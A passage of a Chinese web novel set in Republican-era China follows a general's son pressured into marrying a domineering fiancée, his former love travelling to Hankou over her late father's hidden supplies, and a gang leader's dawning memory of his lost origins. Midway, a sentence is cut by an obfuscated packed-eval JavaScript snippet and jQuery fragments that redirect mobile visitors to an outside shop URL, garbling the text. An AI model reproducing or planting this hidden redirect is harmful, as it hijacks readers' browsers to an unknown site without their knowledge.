林曼丽到申城的那天，是个大晴天。
阳光把整个火车站照得亮晃晃的，铁轨在光线下泛着白得刺眼的光。
站台上铺了红地毯，两边站满了军警和仪仗队，军乐队穿着崭新的制服，手里的铜管乐器在阳光下闪着金光。
排场比大总统来的时候还大。
这是林曼丽自己要求的。
她对沈世昌说：“沈伯伯，我爹说了，他闺女出门，不能让人看轻了。排场越大，说明沈家对我们林家越重视。重视了，我爹那三个师，才能放心地调到申城来。”
沈世昌笑着点头：“应该的，应该的。”
转身回到书房，脸色立刻沉了下来，对沈毅行说：“这个女人，比我想的难缠。这林家不是什么省油的灯！”
沈毅行没有说话。他站在窗前，看着院子里那棵桂花树。
桂花早就谢了，叶子也开始发黄，风一吹就簌簌地往下落。
火车进站的时候，军乐队奏起了欢迎曲。声音大得震耳朵，把站台上所有人的说话声都淹没了。
林曼丽从车厢里走出来，穿着一件大红色的洋装，领口和袖口镶着白色的貂毛，头上戴着一顶同色的小礼帽，帽檐上插着一根白色的羽毛，走起路来一颤一颤的。
身后跟着两个丫鬟，一个拎着皮箱，一个捧着一束红玫瑰。再后面是四个穿着黑色制服的保镖，个个高大魁梧，腰间鼓鼓囊囊的，一看就揣着家伙。
沈毅行站在沈世昌身后，面无表情。
林曼丽走过来，亲热地挽住沈世昌的胳膊：“沈伯伯，路上还顺利，火车上条件不错。”又转过来看沈毅行，伸出手，“毅行，好久不见。”
沈毅行虚握了一下，松开了。
林曼丽也不恼，笑了笑，转身对身后的丫鬟说：“把礼物拿过来。”
丫鬟捧上来一个锦盒，打开，里面是一只金灿灿的怀表，表盖上镶着碎钻，在阳光下闪得人眼睛发花。
“这是我在瑞士订做的，送给你。”林曼丽把怀表递到沈毅行面前，“以后你戴着它，就像我陪在你身边。”
沈毅行接过怀表，看都没看，随手揣进口袋里。
“谢谢。”
林曼丽的目光在他脸上停了一瞬，嘴角的笑意淡了几分，但很快又恢复了。
“走吧，我还没去过帅府呢。听说老太太住在那里，我得去给她老人家请安。”
帅府的大门敞开着，门口的台阶打扫得一尘不染，两边的石狮子脖子上系了红绸花，看起来像是办喜事的样子。
佣人们站成两排，恭恭敬敬地低着头。
林曼丽从车上下来，环顾了一圈，皱了皱眉。
“这院子也太旧了。墙上的漆都掉了，游廊的柱子也该换换了。沈伯伯，回头我让人重新修整一下，花不了多少钱。”
沈世昌笑了笑：“你看着办。”
老太太坐在正厅的太师椅上，脸上的皱纹像刀刻的一样深。她手里拄着拐杖，目光冷冷地看着门口。
林曼丽走进来，笑盈盈地鞠了一躬：“老太太好。我是曼丽，毅行的未婚妻，来看您了。”
老太太上下打量了她一遍，目光从她的大红洋装移到她头上的白羽毛，又移到她耳朵上那两串晃来晃去的红宝石耳坠上。
“嗯。”老太太点了点头，“坐吧。”
林曼丽在旁边的椅子上坐下来，丫鬟立刻端上茶来。
她端起茶杯，抿了一口，眉头微皱。
“这茶……是去年的陈茶吧？老太太，我那里有今年的新茶，回头让人送些过来。”
老太太没有说话。
林曼丽又说：“老太太，您这院子里的桂花树，长得也太高了，挡光线。回头我让人锯掉几枝，院子里亮堂些，您住着也舒服。”
老太太放下茶杯，杯底碰在桌面上，发出一声清脆的响。
“这棵树，我嫁到沈家那年种的。五十八年了。”
林曼丽愣了一下，随即笑道：“五十八年，那可真是老树了。不过树老了就不好看了，该换新的了。”
老太太看了她一眼，没有再说话。
林曼丽讨了个没趣，脸上的笑容僵了一瞬。
她站起身，亲热地说：“老太太，您先歇着。我去看看我的房间。”
她的房间在东厢，沈毅行隔壁。
原本是客房，林曼丽看了之后，不满意。
“这房间太小了，采光也不好。”她指着墙上的壁纸，“这个颜色太暗了，换掉。窗帘也太旧了，换新的。家具也要换，我要法式的。还有，这床太小了，两个人怎么睡？”
陈铭站在门口，额头上全是汗。
“林小姐，您说的这些，我记下来了。马上让人去办。”
“还有。”林曼丽走到窗前，推开窗户，指着窗外的院子，“这院子里的花，种类太杂了，红的白的黄的紫的，乱七八糟的。全部换成玫瑰，要大红色。我不喜欢别的颜色。”
陈铭连连点头：“是。”
林曼丽转过身，在房间里走了一圈，手指在桌面上抹了一下，看了看指尖。
“居然有灰尘。我讨厌灰尘。每天至少要打扫三遍，地板要用抹布擦，不能只用拖把。还有，我的衣裳不能跟别人的混在一起洗，要单独洗，用法国马赛产的肥皂。”
陈铭已经不知道该说什么了，只是一个劲地点头。
林曼丽在帅府住下来的头三天，把上上下下折腾了个遍。
厨房的王妈做了几十年的饭，伺候过沈大帅、沈少帅、老太太，从来没有人说她的手艺不好。
林曼丽吃了第一口，就把筷子摔了。
“这菜太咸了。你们平时就吃这个？这种东西喂猪还差不多！我家马夫烧的大锅菜都比这个强十倍！”
王妈气得浑身发抖，端着盘子回了厨房，眼泪在眼眶里打转。
管家的老周被叫来训斥了三回，一回是因为床单不够软，一回是因为浴室的水不够热，还有一回是因为院子里有落叶没有及时清扫。
丫鬟春兰被骂得最惨。林曼丽说她梳头的手艺太差，把她一根头发扯断了，疼了好半天。
“你们这些人，笨手笨脚的，根本不会伺候人。回头我让北平的丫鬟过来，你们好好跟着学学！一个个又蠢又笨的！”
人人都被骂到了，整个帅府上下，没有一个人不恨她。
老太太在院子里晒太阳的时候，春兰推着轮椅，忍不住嘟囔：“老太太，这个林小姐，也太难伺候了。王妈都被她气哭了。老周说他在沈家干了二十多年，从来没受过这种气。”
老太太闭着眼睛，摇了摇蒲扇。
“随她去，又不是长住。我老了，不能想这种烦心的事！”
“可是老太太，少帅真的要娶她吗？少帅当真不要许小姐了？许小姐多好！”
老太太睁开眼睛，看着头顶那棵老槐树，没有说话。
阳光洒下来，照在她花白的头发上。
“春兰。”她忽然开口。
“老太太，我在。”
“薇薇走的时候，把镯子还回来了？”
“是。许小姐把镯子包得好好的，放在梳妆台的抽屉里。”
老太太沉默了一会儿，叹了口气。
“那镯子，是传给沈家少奶奶的。她不要，说明她不想做沈家的媳妇。”
老太太顿了顿，又说：“毅行留不住她，都是毅行的错。”
春兰不知道该说什么，只是站在旁边，低着头。
“薇薇是个好姑娘。”老太太说，“可惜了。”
小宝是最先跟林曼丽起冲突的。
那天下午，小宝在院子里踢毽子，毽子飞到了林曼丽房间的窗台上。小宝跑过去，爬上窗台去够毽子，不小心碰翻了窗台上的一盆花。
花盆摔在地上，碎了。
林曼丽从房间里冲出来，看见碎了一地的花盆和泥土，脸都绿了。
“小野种你不长眼啊？！这花是我从北平带来的！法国进口的！你赔得起吗？”
小宝被她吓得往后退了一步，眼眶红了。
“我、我不是故意的……”
“不是故意的？你眼睛长在头顶上？这么大一盆花你看不见？真是有爹生没娘教的！”林曼丽尖着嗓子，声音大得整条走廊都能听见。
老太太从院子里过来，拄着拐杖，一步一步走得很慢。
“小孩子不懂事，碎了就碎了。你跟他嚷什么？你一口一个野种，是在打我沈家的脸吗？”
“老太太，这花是我从北平带来的——”
“花重要还是人重要？”老太太狠狠地剜了她一眼，“小宝是沈家的血脉，你还没进门，就想欺负他？你这是不给我们家面子啊！”
林曼丽的脸色一阵红一阵白。
小宝躲到老太太身后，眼泪吧嗒吧嗒地掉。
老太太心疼地牵着小宝的手，愤愤然走了。
晚上，小宝跑到许薇薇原来住的房间门口，蹲下来，抱着膝盖。
春兰路过，问他：“小宝，你怎么在这儿？”
“我想许老师了。”小宝的声音闷闷的，“许老师从来不骂我。她教我英文，还给我讲故事。这个林阿姨，凶死了，口红涂得像吃过人。二叔为什么要娶她？”
春兰蹲下来，摸了摸他的头。“小宝，以后不要随便提许老师了，让林小姐听到不好。大人的事，你不懂。”
“我懂。”小宝抬起头，眼睛红红的，“二叔不喜欢这个姓林的。我看得出来。二叔喜欢许老师。许老师为什么不回来了？她去哪儿了？”
春兰不知道怎么回答。
她看了一眼那扇紧闭的门，门缝里黑漆漆的，没有光。
许薇薇走了快一个月了，房间一直空着。春兰每天进去打扫，床单换了新的，桌上一尘不染，窗台上的文竹长得郁郁葱葱。
但人不在。什么都不在。
***
林曼丽催着沈毅行把婚期提前。
“下个月初八，日子不错。我找人算过了，宜嫁娶。”她把一本黄历摊在沈毅行面前，指着上面的一行字，“你看，诸事皆宜。”
沈毅行靠在椅背上，冷冷地看着她。
“我说过，婚期的事，等我爸从南京回来再定。”
“等你爸回来？他什么时候回来？这都走了半个月了。”林曼丽把黄历合上，坐到沈毅行旁边，伸手挽住他的胳膊，“毅行，我是为你好。早点结婚，我爹那三个师早点调过来。你不想早点拿到那三万兵？”
沈毅行抽出胳膊，站起来，走到窗前。
“我再想想。”
“想什么？有什么好想的？”林曼丽的声音拔高了，“你是不是还在想着那个许薇薇？她都跑了，你惦记她有什么用？她能给你什么？她能给你三万兵吗？她是有几个钱，但你能保证她会把钱投到你的军队里吗？”
“够了。我跟许薇薇的事，还轮不到你指手画脚！”沈毅行的声音冷得像冰，“我的事也不用你管。管好你自己！”
林曼丽的脸色变了一瞬，但很快又笑了。
“好好好，不管不管。但婚期的事，你真的要考虑。我爹那边，已经准备好了。就等你点头。”
沈毅行沉默了很久。
“下个月初八。”他说，“行了吧？”
林曼丽笑了，笑得眼睛眯成一条缝。
“这才对嘛。我们是最佳合作伙伴！”
她站起来，走到沈毅行身边，踮起脚尖，想在他脸上亲一下。
沈毅行侧过脸，躲开了。
林曼丽的嘴唇落在他脸颊旁边的空气里，脸上的笑容僵了一瞬，但她很快就自己圆了场。
“你脸皮挺薄的。没关系，结了婚就好了。”
林曼丽转身走了，高跟鞋踩在地板上，发出清脆的声响。
门关上的那一刻，沈毅行把桌上的一摞文件扫到了地上。
纸页散落一地，像一群受惊的白鸟。
陈铭在门口听见动静，没敢进去。
他站在走廊里，看见林曼丽从办公室出来，脸上挂着得意的笑容。
“陈副官。”林曼丽叫住他，“婚期定下来了，下个月初八。你抓紧时间准备。婚礼要在远东饭店办，我要全申城最好的乐队、最好的花艺、最好的厨师。花销不设上限。好好准备，别给我办砸了，否则我爹可不能饶你！”
“是。”陈铭低下头。
林曼丽走了。她走路的时候下巴微微扬起，像一只骄傲的孔雀，满身珠光宝气在走廊里明晃晃地闪。
陈铭走进办公室，看见沈毅行站在窗前，手里夹着一根烟，没有点。
“少帅，婚期……真的定在初八了？”
“定了。”
陈铭犹豫了一下。
“那许小姐那边……还要不要继续……”
“不要再提她了。她存心躲我，找也找不到！”沈毅行的声音很低，低得几乎听不见。
陈铭张了张嘴，闭上了。
沈毅行把烟叼在嘴里，没有点。他就那么叼着，站在窗前，看着窗外灰蒙蒙的天。
***
北平，使馆胡同。
许薇薇坐在窗前，手里拿着一本摄影杂志，翻了两页，一个字都没看进去。
窗外的槐树叶子快掉光了，只剩光秃秃的枝丫伸向灰蒙蒙的天，像几根枯瘦的手指。
林晚推门进来，手里拿着一份电报。
“许小姐，汉口的电报。”
许薇薇的心猛地跳了一下。
汉口——萧景。
她接过电报，展开。纸很短，只有一行字，但每个字都像一颗钉子，钉在她心上。
“许小姐，仓库货主已查清，盼来汉口商议。萧景。”
许薇薇把电报看了三遍。货主查清了。父亲囤的那些军火，到底是给谁的？这个问题从武汉回来以后，一直盘在她心里。
“林小姐，我想去汉口。”
林晚愣了一下。
“汉口？现在？”
“对。萧堂主说，货主查清了。我想去当面谈。”
林晚想了想。
“那得跟顾专员说一声。”
许薇薇拿起桌上的电话，拨了顾慎之的号码。
电话那头响了几声，顾慎之接起来。
“许小姐？”
“顾专员，萧景从汉口来电报了。说仓库的货主查清了，让我去汉口商量。我想去一趟。”
电话那头沉默了几秒。
“我陪你去。”顾慎之说，“汉口不是北平，青帮的地盘，你一个人去我不放心。”
“不用——”
“就这么定了。”顾慎之的语气不容商量，“明天一早，我开车来接你。”
***
就在许薇薇收拾行李准备去汉口的那天晚上，天津青帮的兄弟传来了一封加急信。
信是萧景打开看的。他坐在汉口堂口的书房里，煤油灯的光照在那张泛黄的信纸上，一个字一个字地往下看。
信不长，但每一个字都像一把锤子，一下一下地敲在他心上。
“萧堂主：所托之事，已有眉目。萧守业，苏州人，民国十九年病逝于天津。据其邻居回忆，萧守业生前曾提起，有一子，乳名唤作‘阿生’，约民国八年生人。萧守业病逝后，其子上了一艘货轮，据说是往武汉方向去投亲。具体哪艘船，去了哪里，无人知晓。天津堂口，周昆。”
萧景坐在椅子上，盯着那封信，一动不动。
阿生。民国八年生人。武汉。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629185|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的脑子里有什么东西“轰”地一声炸开了。像一道闪电劈开了厚厚的云层，照亮了他从未看清过的那片黑暗。
他不知道自己原来的名字。养父捡到他的时候，他已经不记得自己叫什么了。养父给他取名叫“景”，寓意“前景光明”。
他不知道自己的身世。
养父说，是在码头上捡到的，一个瘦得皮包骨的小男孩，浑身是伤，奄奄一息，连话都说不出来。
养父把他带回家，请了大夫，治了三个月才捡回一条命。
他从哪里来？父母是谁？为什么会流落到码头上？他全都不知道。养父不知道，他自己也不知道。
他以为这辈子都不会知道了，但“阿生”这个名字，让他的大脑仿佛通了电一样，一下子全都亮起来。
萧景把信折好，放进抽屉里，坐在椅子上，点了一根烟。
烟雾从指间升起来，在煤油灯的光里慢慢散开。
他想起了很多事——记忆里自己有爹，爹说的是苏州话，爹会唤自己叫“阿生”，爹带着自己上天津做生意，给自己买了人生第一串糖葫芦……
萧景把烟掐灭，站起身，走到窗前。
窗外是汉江的夜。江水黑沉沉的，看不见水，只有几艘船的灯光在水面上摇晃，像几只孤独的眼睛。
***
许薇薇到汉口的那天，下着小雨。
雨丝细细密密的，打在脸上凉飕飕的，像针尖轻轻扎着皮肤。
顾慎之开车，林晚坐在副驾，许薇薇坐在后座。
车子穿过汉口的街道，两边的店铺在雨里朦朦胧胧的，像隔着一层薄纱。路上行人不多，偶尔有几个撑伞的，匆匆走过，溅起一路水花。
许薇薇看着窗外，想起了上次来汉口的时候。
那是跟沈毅行一起来的。他坐在她旁边，一路上都在看文件，偶尔抬起头看她一眼，欲言又止。
那个时候，她还以为他是真心对她好。
现在想来，不过是另一种算计罢了。
萧景在堂口等她们。
堂口在汉江码头附近，一栋灰砖小楼，门口挂着“汉口青帮堂口”的牌子，字是烫金的，在雨里闪着暗沉沉的光。
许薇薇推门进去，萧景从里面迎出来。他穿着一件深灰色的长衫，头发梳得整整齐齐，脸上带着淡淡的笑容，但眼睛里有一种说不出的疲惫。
“许小姐，辛苦了。一路还顺利？”
“顺利。”许薇薇点了点头，指了指身后的顾慎之和林晚，“这是顾慎之顾专员，北平来的。这是林晚，我的朋友。”
萧景跟他们握了手，请他们到二楼的书房坐下。
书房不大，但收拾得干净。靠墙是一排书架，上面整整齐齐地码着线装书。书架上方的墙上挂着一幅字，写着“信义”两个字，笔锋遒劲。
桌上放着一壶茶，三只茶杯，还有一碟桂花糕。
许薇薇看到那碟桂花糕，愣了一下。
“萧先生还记得我爱吃桂花糕？”
萧景笑了笑。
“上次见你爱吃，就记下了。”
许薇薇心里微微一暖。
几个人坐下来，萧景给他们倒了茶。
“萧堂主，仓库的货主，查清了？”许薇薇直奔主题。
萧景放下茶壶，从抽屉里拿出一份文件，递给她。
“查清了。这些物资，是你父亲替一个叫‘长江抗日救国联合会’的组织囤的。”
许薇薇接过文件，一页一页地翻。
联合会是民间组织，由一些爱国商人和知识分子发起，暗中支持抗日活动。许大年替他们采购军需物资，囤在汉江码头的仓库里，等需要的时候再分批运走。
许薇薇抬起头。
“那我父亲去世后，这些物资为什么没有来提？”
“因为联合会出了事。”萧景的声音低了下去，“你父亲去世前不久，联合会在北平的据点被军警查抄了。负责人死的死，抓的抓，剩下的也散了。没人知道这批物资还在。”
“那现在怎么办？”
“联合会在上海还有一个秘密联络员，姓陈，叫陈翰生，公开身份是圣约翰大学的教授。我已经让人去联系他了。只要联系上，这批物资就可以移交给他。许先生的心愿，也就了了。”
许薇薇攥紧了手里的文件。父亲囤这些物资的时候，大概没想到自己会死。也没想到，女儿会替他完成这件事。
“萧堂主，谢谢你。”
“不用谢。”萧景端起茶杯，抿了一口，“许先生的事，就是我的事。这是我对养父的承诺。”
几个人沉默了一会儿。窗外的雨还在下，打在玻璃上，发出细碎的声响。
“还有一件事。”萧景放下茶杯，看着许薇薇，“天津那边，有消息了。”
许薇薇的心猛地跳了一下。
“查到我表舅在哪里了？”
萧景沉默了几秒，从抽屉里拿出那封信，递给她。
“萧守业，民国十九年在天津病逝了。”
许薇薇接过信，一行一行地往下看，手指在微微发抖。
病逝了。她找了这么久，等来的却是一个死讯。她以为自己还有亲人，可到头来，还是一个人。
“他的儿子叫阿生……”萧景的声音顿了一下，“当年上了一艘货轮，往武汉方向来了。之后就下落不明，生死不知。”
许薇薇抬起头，看着萧景。他握着茶杯的手指微微发抖。
“萧堂主，你怎么了？”
萧景愣了一下，松开手。
“没什么。阿生这个名字，让我想起了一些旧事。”
他没有说下去。许薇薇没有追问。
窗外的雨还在下，细细密密的，像永远停不下来。
顾慎之看了看手表，站起来。
“萧堂主，时候不早了。我们先告辞，明天再来详谈。”
萧景也站起来，送他们到门口。雨还在下，天色已经暗了，街灯亮起来，在雨里晕开一团一团昏黄的光。
“许小姐，明天见。”
许薇薇点了点头，转身要走，忽然又停住。
“萧堂主。”
“嗯？”
“谢谢你。为我父亲做的一切，还有——为我找表舅。”
萧景笑了笑。
“不客气。”
许薇薇上了车，车子在雨里慢慢开走了。萧景站在门口，看着那两盏尾灯一点一点地远去，消失在雨幕里。
他转过身，走回书房，关上门，在椅子上坐了很久。
他从抽屉里拿出那张泛黄的照片——许大年和他养父站在江边的码头上。
他盯着养父的脸看了很久。圆脸，笑眯眯的，看起来很憨厚。
养父从来没跟他说过，收养他的那个码头——是武昌的码头，还是汉口的码头？他不知道。
养父说，是在码头上捡到的。汉口那么多码头，到底是哪个码头？他不知道。
他以前觉得，不知道就不知道吧。反正养父对他好，堂口的兄弟们对他好，他有了新的家，过去的事，不重要。
可是现在，“阿生”点亮了他碎片般的记忆。印象里那个说着苏州话的爹到底是谁？会是萧守业吗？如果自己的记忆出现了偏差，等于是冒认亲戚，那样不好。可如果自己的记忆没有出错，那是不是代表着，自己也算是找到了自己的根？
一堆思绪在脑子里打架，萧景站起来，走到窗前。
推开窗户，雨声一下子涌进来，哗哗的，带着江水的腥味和泥土的潮湿气息。汉江在夜色里流淌，黑沉沉的，看不见源头，也看不见尽头。
他在汉口生活了二十多年。这条江他看了二十多年，从来没有问过它从哪里来。
现在他想知道了。